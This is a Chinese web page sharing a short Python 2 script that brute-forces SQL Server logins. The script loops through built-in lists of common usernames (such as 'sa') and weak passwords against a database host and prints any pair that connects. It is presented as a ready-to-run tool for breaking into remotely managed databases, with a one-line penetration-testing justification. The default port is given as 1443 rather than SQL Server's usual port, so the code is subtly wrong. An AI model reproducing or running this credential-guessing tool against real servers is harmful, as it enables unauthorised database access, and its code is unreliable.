快捷導(dǎo)航

Python版Mssql爆破小腳本

更新時(shí)間：2016年10月16日 20:23:00 投稿：hebedich

本文給大家分享的是使用Python實(shí)現(xiàn)的暴力破解mssql用戶密碼的腳本的代碼，配合上合適的字典非常好用，有需要的小伙伴可以參考下

Mssql Python版本爆破小腳本，需要安裝 MSSQL-python.exe 可以看出代碼量很少，用法：保存代碼為MssqlDatabaseBlasting.py，cmd切換到 MssqlDatabaseBlasting.py路徑下，并執(zhí)行 MssqlDatabaseBlasting.py即可開(kāi)始破解

import pymssql
common_weak_password = ('','123456','test','root','admin','user')#密碼字典
mssql_username = ('sa', 'test', 'admin', 'mssql')#賬號(hào)字典

success = False
host = "127.0.0.1"#數(shù)據(jù)庫(kù)IP地址
port = 1443
for username in mssql_username:
  for password in common_weak_password:
    try:
      db = pymssql.connect(server=host, port=port, user=username, password=password)
      success = True
      if success:
        print username, password
    except Exception, e:
      pass

說(shuō)明：看到很多網(wǎng)絡(luò)安全愛(ài)好者，在進(jìn)行滲透測(cè)試的時(shí)候，遇到數(shù)據(jù)庫(kù)可以遠(yuǎn)程管理，但是無(wú)法破解其賬號(hào)密碼，所以此篇文章就推送幾個(gè)腳本進(jìn)行滲透。

您可能感興趣的文章:

相關(guān)文章

分頁(yè)查詢(xún) 效率最高
給大家分享個(gè)效率最高的分頁(yè)查詢(xún) 5000萬(wàn)級(jí)別有效比 ROWNUMBER 和Top效率高
2009-06-06
MSSQLSERVER不同版本設(shè)置開(kāi)啟遠(yuǎn)程連接（sa配置）
這篇文章主要為大家詳細(xì)介紹了MSSQLSERVER不同版本設(shè)置開(kāi)啟遠(yuǎn)程連接，包括SQL SERVER 2008/2012/2012R2/2014開(kāi)啟遠(yuǎn)程連接的設(shè)置方法，具有一定的參考價(jià)值，感興趣的小伙伴們可以參考一下
2017-03-03
SQL中字符串中包含字符的判斷方法
在sql中我判斷包含字符串我們可使用很多方法如like,replace,charindex函數(shù)都可實(shí)現(xiàn)我們要的功能，下面我來(lái)給大家介紹判斷字符串包含字符串sql語(yǔ)句。感興趣的朋友一起看看吧
2017-09-09
sql 版本詳解讓你認(rèn)識(shí)跟sql2000的區(qū)別
如果你是初學(xué)者，如果你只是想要在家里學(xué)習(xí)學(xué)習(xí)，如果你的環(huán)境是 WindowsXP Pro，那么，你應(yīng)該選擇的是 SQL2005 Development(開(kāi)發(fā)版)，而不是 SQL2005 Enterprise (企業(yè)版)或 SQL2005 Express(簡(jiǎn)易版)。
2010-05-05
SQL?DNSlog注入實(shí)戰(zhàn)
DnsLog注入可以理解成是一種技巧，而不是一種攻擊方式，是一種讓無(wú)回顯的攻擊，變得有回顯的方式，包括但不限于SQL盲注，這篇文章主要介紹了SQL?DNSlog注入詳解,需要的朋友可以參考下
2023-05-05
SQL 合并多行記錄的方法總匯
合并多行記錄的方法，匯總。
2009-06-06
mssql 高效的分頁(yè)存儲(chǔ)過(guò)程分享
廢話不多說(shuō)，直接上結(jié)果，相信這也是大多數(shù)搜索答案的人最愿意看的方式。
2013-03-03
存儲(chǔ)過(guò)程優(yōu)缺點(diǎn)分析
在程序開(kāi)發(fā)中我們經(jīng)常性的存儲(chǔ)過(guò)程，可以提升執(zhí)行效率等，但也也會(huì)有一些缺點(diǎn)大家可以根據(jù)需要選用
2012-04-04
SQL里類(lèi)似SPLIT的分割字符串函數(shù)
SQL對(duì)字符串的處理能力比較弱，比如我要循環(huán)遍歷象1,2,3,4,5這樣的字符串，如果用數(shù)組的話，遍歷很簡(jiǎn)單，但是T-SQL不支持?jǐn)?shù)組，所以處理下來(lái)比較麻煩。下邊的函數(shù)，實(shí)現(xiàn)了象數(shù)組一樣去處理字符串。
2011-04-04
SQL Server 批量插入數(shù)據(jù)的完美解決方案
這篇文章主要介紹了SQL Server 批量插入數(shù)據(jù)的完美解決方案,需要的朋友可以參考下
2020-12-12